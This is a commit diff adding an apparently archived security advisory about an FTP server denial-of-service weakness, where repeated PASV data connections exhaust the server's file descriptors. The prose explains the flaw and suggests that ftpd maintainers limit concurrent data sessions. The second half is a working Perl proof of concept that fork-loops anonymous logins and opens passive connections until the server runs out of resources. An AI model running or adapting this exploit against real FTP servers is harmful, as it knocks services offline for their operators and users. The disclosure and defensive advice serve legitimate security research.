Add files via upload

2026-06-16 15:59:24 +00:00 · 2020-10-09 21:59:39 -05:00
parent a5fc35f165
commit 06828a0956
87 changed files with 32994 additions and 0 deletions
@@ -0,0 +1,79 @@
+Who has more free file descriptors & network ports, you or the ftp server ?
+
+ftpd's which limit connections to 1 per user@host or similar may have some
+defense against this, or if they don't support multiple data connections
+open at the same time.  I suspect "many" is the number of ftpd's which are
+vulnderable to this attack so I've made no attempt (except in one case) to
+contact vendors because there are just too many damn vendors, not to mention
+ftpd's!  But basically, if the other end has, on average, maximum fd limit
+at 63, allows 50 connections, that's 3000 open fd's.  I'm not sure how many
+ftpd's are setup with that many open files as a part of the sytem, but not
+many, I suspect.
+
+No apologies for using perl(5), I just wanted a quick prototype.  It's not
+perfect but then I did't want to spend too much time on this.
+
+to ftpd maintainers:
+I don't know of any ftp clients which make use of this feature (multiple
+data channels supported concurrently) as the original ftp clients were all
+line-based and only suported one transfer at a time.  Maybe this is
+reasonable, but it would be a shame for the default defense to this attack
+to mean you can't use FTP to it's full potential (i.e. start a transfer
+from the current session but keep using the current `login' session, maybe
+to start other transfers, as requried).  Triming the number of concurrent
+data sessions to a maximum of 1-5 (by default) would probably be enough,
+with the capability to set this higher/lower as required.
+
+Darren
+
+
+
+$DOS_HOST="localhost";
+
+use IO::Socket;
+
+$pid = $$;
+$num = 0;
+
+while (1) {
+    while (fork) {
+        $sock = IO::Socket::INET->new(
+            Proto    => "tcp",
+            PeerAddr => $DOS_HOST,
+            PeerPort => "ftp(21)",
+        );
+
+        if (!$sock) {
+            print "connect failed!\n";
+            waitpid -1,0;
+        }
+
+
+        while (<$sock>) {
+            print;
+            print $sock "USER anonymous\r\n" if (/^220 .*/);
+            print $sock "PASS root@\r\n" if (/^331 .*/);
+            print $sock "PASV\r\n" if (/^230 .*/);
+
+            if (/^227 .*/) {
+                $remote = $_;
+                $remote =~ s/^.* [^\d,]*(\d[\d,]+)[^\d,]*$/$1/;
+                @bits = split(/,/, $remote);
+                if ($#bits eq 5) {
+                    $remport = $bits[4] * 256 + $bits[5];
+                    $#bits = 3;
+                    $remip = join('.', @bits);
+                    $foo[$num++] = IO::Socket::INET->new(
+                            Proto => "tcp",
+                            PeerAddr => $remip,
+                            PeerPort => "($remport)");
+                }
+                print $sock "PASV\r\n";
+            }
+            last if (/^530 .*/);
+        }
+        waitpid -1,0;
+    }
+    sleep(5);
+}
+